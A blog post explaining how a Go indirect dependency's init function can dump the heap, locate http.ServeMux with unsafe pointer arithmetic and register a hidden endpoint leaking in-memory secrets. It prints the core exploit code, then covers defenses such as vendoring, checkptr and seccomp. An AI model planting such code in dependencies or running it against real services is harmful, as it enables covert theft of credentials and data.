// posts — go · security
How a quiet indirect dependency in Go registered an endpoint in your HTTP server
All the examples from this article live in the repo github.com/korableg/init-injection-example. The "malware" code is written for educational purposes — to demonstrate a class of problem, not to hand out a ready-made tool. Run it in a sandbox only.
The story is simple: we have a tidy service on net/http with a single
/time endpoint. We bump one library with go get, changing nothing in our own
code. After a restart, a /__injected endpoint appears in the service, serving strings
from the process memory. We did not register it. What's more — the package that
registered it is, formally, not used in the service.
What follows is a breakdown of how this is even possible, step by step: from Go's dependency model and
the init function to heap scanning and unsafe.Pointer. And, of course, how
to defend against it.
Part 1. How Go sees dependencies
To understand the attack, you need to keep three facts about Go's module system in mind. If you read
go.mod confidently — feel free to skip ahead to part 2.
1.1. A module starts with go mod init
# bash
go mod init github.com/korableg/init-injection-example
The command creates a go.mod at the root. The module path comes in two flavors:
- for a library — the full importable path (
github.com/org/lib), the one others will pull it by; - for a service — it can be just a unique identifier; nobody imports it from outside.
If a service needs to export packages (for example, generated protobuf contracts), a separate external module with a full name is set up for them — and that's what the neighbors import.
1.2. One way to import everything — go get
# bash
go get github.com/igrmk/treemap/v2@v2.0.1
go get is the universal way to pull in any dependency: a library, a tool, a version bump.
This is exactly the command that becomes the attack's entry point in our story.
1.3. Anatomy of go.mod
module github.com/korableg/init-injection-example/lib // 1. module path
go 1.26.3 // 2. language version (minimum)
replace github.com/korableg/init-injection-example/db => ../db // 3. substitution
require github.com/korableg/init-injection-example/db v0.0.0-... // 4. direct dependency
require ( // 5. indirect dependencies
github.com/burntcarrot/heaputil v0.0.0-... // indirect
github.com/igrmk/treemap/v2 v2.0.1 // indirect
golang.org/x/exp v0.0.0-... // indirect
)
exclude github.com/burntcarrot/heaputil v1.0.0 // 6. excluded version
Six elements:
- Module path — covered above.
- Language version — the minimum version of Go whose language features the module is allowed to use; the compiler rejects anything newer. The specific toolchain is governed by a separate
toolchaindirective (if absent — the version from thegoline is used). replace— substitutes a dependency with a fork or a local directory.- Direct dependency — what you added yourself via
go get. - Indirect dependency (I call them "shadow" deps) — what you don't import explicitly, but what the packages you use pull in. Marked with a
// indirectcomment. exclude— bans a specific version.
Remember point 5 — // indirect. The whole intrigue of the article hangs on a single
question: what does Go execute in indirect dependencies that your code never calls directly?
Part 2. init — the silent entry point
2.1. The signature
init is a function with no arguments and no return value:
func init() {
// ...
}
Some particulars:
- it can be placed anywhere in the package (not necessarily at the top);
- a single package can have several
initfunctions — even one per file.
2.2. Three properties to keep in mind
- Implicit invocation.
initruns automatically, before any of your code, beforemain. - Order. Multiple
inits in a package run in declaration order. And theinits of dependency packages run before your package'sinit— in import order. - Purpose. Classically,
initis used to set up global state, register handlers, and otherwise prepare things before the main logic starts.
2.3. The canonical example — database/sql
DB drivers in Go are registered precisely through init. The standard library provides sql.Register:
package db
import (
"database/sql"
"database/sql/driver"
"fmt"
)
func init() {
fmt.Println("YAY! db driver was registered 😻")
sql.Register("fooDB", &drv{})
}
type drv struct{}
func (*drv) Open(name string) (driver.Conn, error) {
return nil, nil
}
That's why drivers are wired up with a "blank" import:
import _ "github.com/jackc/pgx/v5/stdlib" // postgres
import _ "github.com/go-sql-driver/mysql" // mysql
import _ "github.com/ClickHouse/clickhouse-go" // clickhouse
You don't call a single function from the package — but its init has already registered
the driver. Convenient. And this is exactly where the landmine is buried.
2.4. What's wrong with init
init convenient — and what makes it dangerousThe first three points are about readability and testability. But the fourth one is the article's protagonist:
init runs even in an indirect dependency that your code doesn't actually use.
It's enough for the package to land in the build graph.
Next, I'll show what that means in practice.
Part 3. The test subject service
Let's model a realistic situation. There's a service example-service with a single /time endpoint:
// example-service/cur_timestamp.go
type curTimestamp struct{}
func (*curTimestamp) Handler() (string, http.Handler) {
return "GET /time", http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusOK)
_, _ = w.Write([]byte(strconv.FormatInt(time.Now().Unix(), 10)))
})
}
We wrap the HTTP server in an internal library lib — picture a "shared scaffolding" with a
unified config that all the company's services reuse:
// example-service/main.go
func main() {
cfg := config.NewConfig()
srvr := rest.New(cfg.Rest, &curTimestamp{})
go srvr.Serve()
// ... graceful shutdown
}
The library's config is a convenient composite struct: REST settings, the database, and some service
foo (it's just here to fill the cast):
// lib/config/config.go
package config
import (
"github.com/korableg/init-injection-example/db"
"github.com/korableg/init-injection-example/lib/foo"
"github.com/korableg/init-injection-example/lib/rest"
)
type Config struct {
Rest *rest.Config `yaml:"rest"`
DB *db.Config `yaml:"db"` // <-- this one line decides everything
Foo *foo.Config `yaml:"foo"`
}
Note the DB *db.Config field. The example-service does not work with
a database. It serves a timestamp. But its "shared config" from the library
references the type db.Config — and that means the db
package lands in the build graph.
Let's look at the service's go.mod:
module example
go 1.26.3
replace github.com/korableg/init-injection-example/lib => ../lib
replace github.com/korableg/init-injection-example/db => ../db
require github.com/korableg/init-injection-example/lib v0.0.0-...
require (
github.com/burntcarrot/heaputil v0.0.0-... // indirect
github.com/igrmk/treemap/v2 v2.0.1 // indirect
github.com/korableg/init-injection-example/db v0.0.0-... // indirect <-- !!!
golang.org/x/exp v0.0.0-... // indirect
)
db is marked // indirect. The service doesn't import it directly — it arrived
transitively through lib/config.
The dependency chain
db reaches the service transitively, as an indirect dependencyWe start the service — and the logs show:
YAY! db driver was registered 😻
The init() from the db package ran, even though we never called a single
function from db. Simply because the db.Config type is mentioned in the
config struct. Harmless so far — a driver got registered. But it's a proof of concept:
someone else's init is already executing in our process's address space.
Part 4. The update that changes everything
Now let's model what happens in real life all the time: we run go get and bump
db to a new version. We don't peek into the service code — "it's just the database config
in there." And in the new version, init now looks like this:
func init() {
fmt.Println("YAY! db driver was registered 😻")
sql.Register("fooDB", &drv{})
inject() // <-- this arrived with the update
}
Let's look inside inject. And here's where it gets interesting — the function operates on
unsafe.Pointer. Why? Let's break it down piece by piece.
Part 5. A quick primer on unsafe.Pointer
To understand the exploit, you need to understand two types.
unsafe.Pointer versus a regular pointer
A regular pointer in Go is typed: *int points to an int, and the compiler
enforces that. unsafe.Pointer is like void * in C: it can be converted
to a pointer of any type, and the compiler doesn't check type safety.
uintptr — a pointer as a number
unsafe.Pointer ↔ uintptr: what the garbage collector seesunsafe.Pointeris a real pointer; the garbage collector tracks it.uintptris an unsigned integer the size of a pointer. Arithmetic is allowed on it (not onunsafe.Pointer). But the GC doesn't see it.
Why you can't shuttle uintptr → unsafe.Pointer across expressions
Because of the garbage collector. The moment an address "slips" into a uintptr, the GC
stops considering the object alive and may move or collect it. Turn the uintptr back into
a pointer later — and you land on freed/moved memory. In the best case, a segfault.
Valid (all in one expression — the compiler and the GC see the link):
func Test_UnsafeValidOp(t *testing.T) {
k := []byte{1, 2, 3, 4, 5, 6}
p := (*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&k[0])) + 2))
fmt.Println(*p) // 3
}
Invalid (the address "sat" in the variable uP between expressions):
func Test_UnsafeInvalidOp(t *testing.T) {
k := []byte{1, 2, 3, 4, 5, 6}
uP := uintptr(unsafe.Pointer(&k[0])) // the address went into a uintptr...
p := (*byte)(unsafe.Pointer(uP + 2)) // ...and is used in another expression
fmt.Println(*p)
}
Constructs like this are caught by linters, go vet and checkptr. But there's
a "legal" workaround — unsafe.Add, which does arithmetic over unsafe.Pointer
without dropping into uintptr:
func Test_UnsafeValidOp2(t *testing.T) {
k := []byte{1, 2, 3, 4, 5, 6}
var offset uintptr = 2
uP := unsafe.Pointer(&k[0])
p := (*byte)(unsafe.Add(uP, offset)) // the linter considers it valid
fmt.Println(*p) // 3
}
It's exactly unsafe.Add that inject uses to comfortably do arithmetic over
addresses without drawing the tooling's attention.
Part 6. How inject finds and hijacks the HTTP router
Now, armed with the unsafe knowledge, let's go through inject in full. The general idea:
inject() flow: from heap dump to registering /__injected6.1. The heap dump
To find the router in memory, inject takes a dump of the entire heap with the stock runtime/debug tool:
func objectsFromHeap() ([]*record.ObjectRecord, error) {
f, err := os.CreateTemp(os.TempDir(), "*")
if err != nil {
return nil, err
}
defer func() {
f.Close()
os.Remove(f.Name())
}()
// Write the heap dump to the file.
// Format: https://go.dev/wiki/heapdump15-through-heapdump17
debug.WriteHeapDump(f.Fd())
if _, err = f.Seek(0, 0); err != nil {
return nil, err
}
return parseDump(bufio.NewReader(f))
}
debug.WriteHeapDump takes a single argument — a file descriptor. So first a temporary file
is created, the dump is written into it, then it's parsed by the heaputil library into a
list of objects. All addresses in the dump are stored as unsigned integers. (Parsing the dump format
is a big topic of its own — see the link in the code.)
6.2. Address → pointer via the "zero base"
Knowing that any address is an offset from the start of the virtual address space, you can add the
object's address to a nil pointer and get a working unsafe.Pointer:
ptr := unsafe.Add(unsafe.Pointer(nil), obj.Address)
6.3. Recognizing http.ServeMux by its memory layout
Next, we need to figure out which of the heap objects is the http.ServeMux. For that, the
package declares structs ahead of time that mirror the internal layout of the private
types from net/http:
type (
// The structs mirror the layout of http.ServeMux's internal types
routingIndexKey struct {
pos int
s string
}
segment struct {
s string
wild bool
multi bool
}
pattern struct {
str string
method string
host string
segments []segment
loc string
}
routingIndex struct {
segments map[routingIndexKey][]*pattern
multis []*pattern
}
)
Since unsafe.Pointer can be cast to any type, and in memory these structs lie byte-for-byte
like the originals from net/http, you can "slip" them onto a raw address and read it.
Recognition relies on several anchor signals.
Anchor value #1 — the real size of ServeMux in memory. Here's the trick:
an object on the heap takes up not unsafe.Sizeof, but the size of the nearest
allocation class (size class) in Go — the runtime rounds up. The class size is computed with a
neat hack:
func calculateSizeClass(n uintptr) int {
b := append([]byte(nil), make([]byte, n)...)
return cap(b) // the runtime fit capacity to the needed size class
}
We take an n-byte slice, append it into an empty, capacity-less one — the runtime fits the
capacity to a memory class. cap is the real size. (Memory classes — see
runtime/sizeclasses.go.)
Anchor values #2 — offsets and field count for the specific ServeMux
layout. Putting it all together:
muxSize := unsafe.Sizeof(http.ServeMux{})
muxSizeClass := calculateSizeClass(muxSize)
var (
muxFirstOffset uint64 = 24
muxRoutingIndexOffset = 96
muxFieldsCount = 10
)
for _, obj := range objects {
ptr := unsafe.Add(unsafe.Pointer(nil), obj.Address)
if len(obj.Fields) == muxFieldsCount &&
obj.Fields[0] == muxFirstOffset &&
len(obj.Contents) == muxSizeClass {
ri := (*routingIndex)(unsafe.Add(ptr, muxRoutingIndexOffset))
if ri != nil && len(ri.segments) > 0 {
mux = (*http.ServeMux)(ptr) // found the router!
}
}
addContents(obj, tm)
}
A candidate object is checked against three signals: field count == 10, first field == 24, size ==
the expected size class. Then, at the routingIndexOffset offset, the
routingIndex is pulled out and checked to confirm it has registered routes. A match — and
we're looking at our service's live *http.ServeMux.
6.4. Along the way — collecting strings from the heap
In parallel, inject stuffs all the valid UTF-8 content of the heap objects into an ordered
TreeMap[uintptr, string]:
func addContents(obj *record.ObjectRecord, tm *contentTree) {
if !utf8.Valid(obj.Contents) {
return
}
data := strings.Map(func(r rune) rune {
if unicode.IsGraphic(r) {
return r
}
return -1
}, string(obj.Contents))
if len(data) == 0 {
return
}
tm.Set(uintptr(obj.Address), data)
}
Those are configs, tokens, DSNs — any strings the service keeps in memory.
6.5. The finale — registering someone else's endpoint
mux.HandleFunc("/__injected", handleFunc(tm))
handleFunc simply serves the collected address → string map:
return func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusOK)
w.Write(data) // "0x... <string from the heap>\n" line by line
}
We start the service, hit /__injected — and get a dump of the process's string content.
None of us registered the endpoint; it was added by the init of a package that isn't even
used directly in the service.
And a separate word about tooling. A regular build (go build) and go vet
raise no alarm — the code compiles and runs just fine. There's no data race here either: a clean race
report shows nothing, because inject doesn't write to shared memory concurrently. But
there's a nuance that matters for CI: the -race flag implicitly enables
checkptr — a runtime check for the correctness of pointer arithmetic. And that one
catches this exploit — a build with -race dies with a fatal error right
at unsafe.Add(unsafe.Pointer(nil), obj.Address):
fatal error: checkptr: pointer arithmetic result points to invalid allocation
.../db/harmful.go:179
That is, the exploit stays invisible only to the "vanilla" pipeline. Build or run the tests with
-race (or explicitly with checkptr) — and the "zero base" trick is exposed.
This, by the way, is a ready-made argument for running -race/checkptr in CI
(we'll come back to this in part 7.2).
From here, let your imagination run: instead of "dump the strings" you could swap handlers, proxy traffic, exfiltrate secrets.
Part 7. How to fight this
7.1. Above all — make your dependencies granular
The root of the problem is the composite config in the library. The
DB *db.Config field dragged the entire db package (with its init)
into a service that doesn't need a database.
db into every service; a granular one — only where it's needed
The rule: in libraries, don't build aggregate structs out of other packages. Have a
separate rest.Config, a separate db.Config, and let each service wire up only
what it actually uses. This won't save services that genuinely need the database, but at the very least
it removes the problem from those that don't need it at all.
7.2. Tooling
| Tool | What it does |
|---|---|
vendoring (go mod vendor) |
Puts copies of all dependencies in vendor/. On an update, the changes show up right in git diff — someone else's inject() won't slip past code review unnoticed. |
| deadcode | Finds unreachable code. Unlike unused from golangci-lint, it also checks exported methods and ones used only in tests (which is why it's not a good fit for libraries). |
| GCI | Orders imports by configured rules — discipline in imports helps you spot the extraneous ones. |
| govulncheck | Scans the project for known vulnerabilities (NVD, GHSA, the Go vuln database). There's a web interface — you can check a package before adding it. |
| checkptr | Runtime checks for the correctness of pointer arithmetic. It's the one that crashes our exploit at unsafe.Add(unsafe.Pointer(nil), addr). Enabled by the -race flag, so running tests/builds with -race in CI is enough. |
7.3. Cut off the exploit's oxygen at the OS level: forbid file creation
The previous measures are about keeping the malware out of the build entirely. But you can add another line of defense — at the OS level, based on what the exploit physically needs to work.
Recall part 6.1: inject can't read the heap directly. It needs to take a dump via
debug.WriteHeapDump(f.Fd()), and that function requires a writable file
descriptor (per the
documentation
— a regular file or a socket, not a pipe). So the exploit first calls os.CreateTemp(...),
which under the hood makes an openat(2) syscall with the O_CREAT flag:
openat(2) call
If the process can't create a file in the needed place — os.CreateTemp
returns an error, objectsFromHeap bails out with err, and inject
simply exits quietly (it swallows the error: if err != nil { return }). No heap dump —
no ServeMux found — no endpoint registered. The chain breaks at the very first "dirty"
syscall.
Most services don't need to write to disk at runtime at all (logs go to stdout, state goes to the DB). Which means you can take away the process's right to create files — either entirely, or by allowing writes only to one known path.
It's important to do this from the outside, at the orchestrator level, not from the
service code. The temptation to "enable the restriction at the start of main" won't work:
the init of indirect dependencies runs before main, so any
protection raised from your own code will be beaten to the punch by the malware in init.
A restriction imposed by the container/kernel before the process even starts doesn't have this hole.
seccomp-BPF — a syscall filter
seccomp-BPF
cuts at the syscalls themselves. You describe a BPF filter (usually on an allowlist basis, like
Docker's default profile) and forbid the process from calling
openat/creat/open with creation flags. Then any attempt to
create a file — including os.CreateTemp from inject — hits
EPERM/EACCES at the kernel level.
This is applied at the orchestrator level:
- Docker —
--security-opt seccomp=profile.jsonwith a custom profile without file-creating syscalls; - Kubernetes —
seccompProfilein the pod'ssecurityContext; - plus orthogonal measures —
readOnlyRootFilesystem: trueand anemptyDirvolume only where writing is genuinely needed.
readOnlyRootFilesystem on its own already breaks our exploit: os.TempDir()
points to /tmp by default, and if the root filesystem is read-only — creating a temp file
there won't work.
How this differs from the measures above
Granular dependencies, vendoring and govulncheck keep the malware from
getting in to the service. Restricting syscalls comes from the opposite assumption —
"suppose it's already inside" — and takes away its tools. That's defense in depth: even if the malware
slipped past review, without the right to create a file it can't take a heap dump and can't reach the
ServeMux.
7.4. Update hygiene
A few practices follow from this story that are worth cementing in the team:
- read the diff of dependencies when updating — especially if
unsafe,runtime/debug,os.CreateTemp, or descriptor handling shows up in it; - keep
vendor/under code review; - run
govulncheckin CI and check new packages on vuln.go.dev before adding them; - don't drag composite configs into libraries — make them granular;
- in production, run services with
readOnlyRootFilesystemand a trimmed-down seccomp profile — it's cheap and it breaks a whole class of attacks tied to writing files.
Conclusion
The attack chain turned out to be short and completely "legal" from the compiler's point of view:
- The library holds a composite config with a
DB *db.Configfield. - The
db.Configtype drags the entiredbpackage into the service's build graph — as an indirect dependency. - The
dbpackage'sinitruns, even though the service doesn't call a single line fromdb. inittakes a heap dump, usesunsafe.Pointerto findhttp.ServeMuxby its memory layout, and registers its own endpoint.- A regular build and
go vetraise no alarm — the only thing that saves you is a build withcheckptr(including via-race), which crashes the exploit on pointer arithmetic.
init and unsafe are powerful and useful mechanisms. But it's precisely their
"convenience" — the implicitness of init and the lack of type control in
unsafe — that turns an innocent dependency bump into an RCE-like scenario. Defense is built
in two echelons. The first — keep the malware out of the build: make dependencies granular, read the
diffs, vendor and scan. The second — in case it still slipped through: trim the process's privileges at
the OS level from the outside, via the orchestrator. This particular exploit needs to create a file for
the heap dump to work — forbid file creation (a seccomp profile, readOnlyRootFilesystem),
and the chain breaks at the very first syscall.
Code to explore on your own —
github.com/korableg/init-injection-example.
Uncomment inject() in db/drv.go, bring up example-service and
hit /__injected.
Thanks for reading. Questions and objections — in the comments.